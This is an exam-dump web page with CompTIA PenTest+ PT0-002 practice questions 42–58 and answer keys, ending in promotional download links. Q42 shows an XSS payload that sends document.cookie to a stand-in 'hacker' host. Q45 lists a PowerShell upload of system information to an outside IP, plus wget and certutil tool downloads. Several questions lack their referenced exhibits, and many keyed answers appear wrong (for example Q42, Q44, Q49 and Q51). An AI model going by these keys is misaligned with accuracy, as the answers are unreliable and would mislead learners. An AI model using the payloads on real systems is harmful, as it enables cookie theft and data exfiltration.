Practice CompTIA PenTest+ PT0-002 exam. Online Exam Practice Tests with detailed explanations! Pass PT0-002 with confidence!
PT0-002 - CompTIA PenTest+ Certification Practice Tests 2021 | TestInsides
NEW QUESTION 42
Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
- A. Session tokens
- B. Output encoding
- C. Web-application firewall
- D. Input validation
- E. Parameterized queries
- F. Base64 encoding
Answer: A,E
NEW QUESTION 43
A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:
* The following request was intercepted going to the network device:
GET /login HTTP/1.1
Host: 10.50.100.16
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5 Connection: keep-alive Authorization: Basic WU9VUilOQU1FOnNlY3JldHBhc3N3b3jk
* Network management interfaces are available on the production network.
* An Nmap scan returned the following:
Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)
- A. Implement a better method for authentication.
- B. Eliminate network management and control interfaces.
- C. Disable HTTP/301 redirect configuration.
- D. Disable or upgrade SSH daemon.
- E. Enforce enhanced password complexity requirements.
- F. Create an out-of-band network for management.
Answer: A,C
NEW QUESTION 44
A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?
- A. PsExec
- B. PowerShell modules
- C. Alternate data streams
- D. MP4 steganography
Answer: A
NEW QUESTION 45
A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?
- A. wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe
- B. schtasks /query /fo LIST /v | find /I "Next Run Time:"
- C. powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
- D. certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
Answer: C
NEW QUESTION 46
A penetration tester writes the following script:
Which of the following objectives is the tester attempting to achieve?
- A. Set the TTL of ping packets for stealth.
- B. Determine active hosts on the network.
- C. Fill the ARP table of the networked devices.
- D. Scan the system on the most used ports.
Answer: B
NEW QUESTION 47
A penetration tester ran an Nmap scan on an Internet-facing network device with the -F option and found a few open ports. To further enumerate, the tester ran another scan using the following command:
nmap -O -A -sS -p- 100.100.100.50
Nmap returned that all 65,535 ports were filtered. Which of the following MOST likely occurred on the second scan?
- A. The penetration tester used unsupported flags.
- B. The scan returned ICMP echo replies.
- C. The edge network device was disconnected.
- D. A firewall or IPS blocked the scan.
Answer: D
NEW QUESTION 48
A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:
Which of the following tools will help the tester prepare an attack for this scenario?
- A. Nmap and OWASP ZAP
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Hydra and crunch
Answer: D
NEW QUESTION 49
A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?
- A. RFID cloning
- B. Tag nesting
- C. RFID tagging
- D. Meta tagging
Answer: D
NEW QUESTION 50
A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:
Which of the following would be a recommendation for remediation?
- A. Configure access controls on each of the servers
- B. Deploy a user training program
- C. Utilize the secure software development life cycle
- D. Implement a patch management plan
Answer: D
NEW QUESTION 51
A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.
Which of the following actions should the tester take?
- A. Incorporate the newly identified method of compromise into the red team's approach.
- B. Halt the assessment and follow the reporting procedures as outlined in the contract.
- C. Create a detailed document of findings before continuing with the assessment.
- D. Perform forensic analysis to isolate the means of compromise and determine attribution.
Answer: C
NEW QUESTION 52
Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?
- A. Quantitative impact assessments given a successful software compromise
- B. Executive summary of the penetration-testing methods used
- C. Bill of materials including supplies, subcontracts, and costs incurred during assessment
- D. Code context for instances of unsafe type-casting operations
Answer: A
NEW QUESTION 53
A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial dat a. Which of the following should the tester do with this information to make this a successful exploit?
- A. Conduct a watering-hole attack.
- B. Use browser autopwn.
- C. Perform XSS.
- D. Use BeEF.
Answer: C
NEW QUESTION 54
A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?
- A. Immunity Debugger
- B. Drozer
- C. GDB
- D. OllyDbg
Answer: D
NEW QUESTION 55
A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?
- A. Semicolon
- B. Double dash
- C. Comma
- D. Single quote
Answer: D
NEW QUESTION 56
Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?
- A. Whether the country where the cloud service is based has any impeding laws
- B. Whether the cloud service provider allows the penetration tester to test the environment
- C. The geographical location where the cloud services are running
- D. Whether the specific cloud services are being used by the application
Answer: C
Explanation:
Section: (none)
Explanation
NEW QUESTION 57
Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?
- A. MITRE ATT&CK framework
- B. OWASP Top 10
- C. NIST SP 800-53
- D. PTES technical guidelines
Answer: A
NEW QUESTION 58
......
Get instant access to PT0-002 practice exam questions: https://drive.google.com/open?id=1IjJLoVTZhphiBV8epSzzmPAe2sn7zmwd
The best PT0-002 exam study material and preparation tool is here: https://www.testinsides.top/PT0-002-dumps-review.html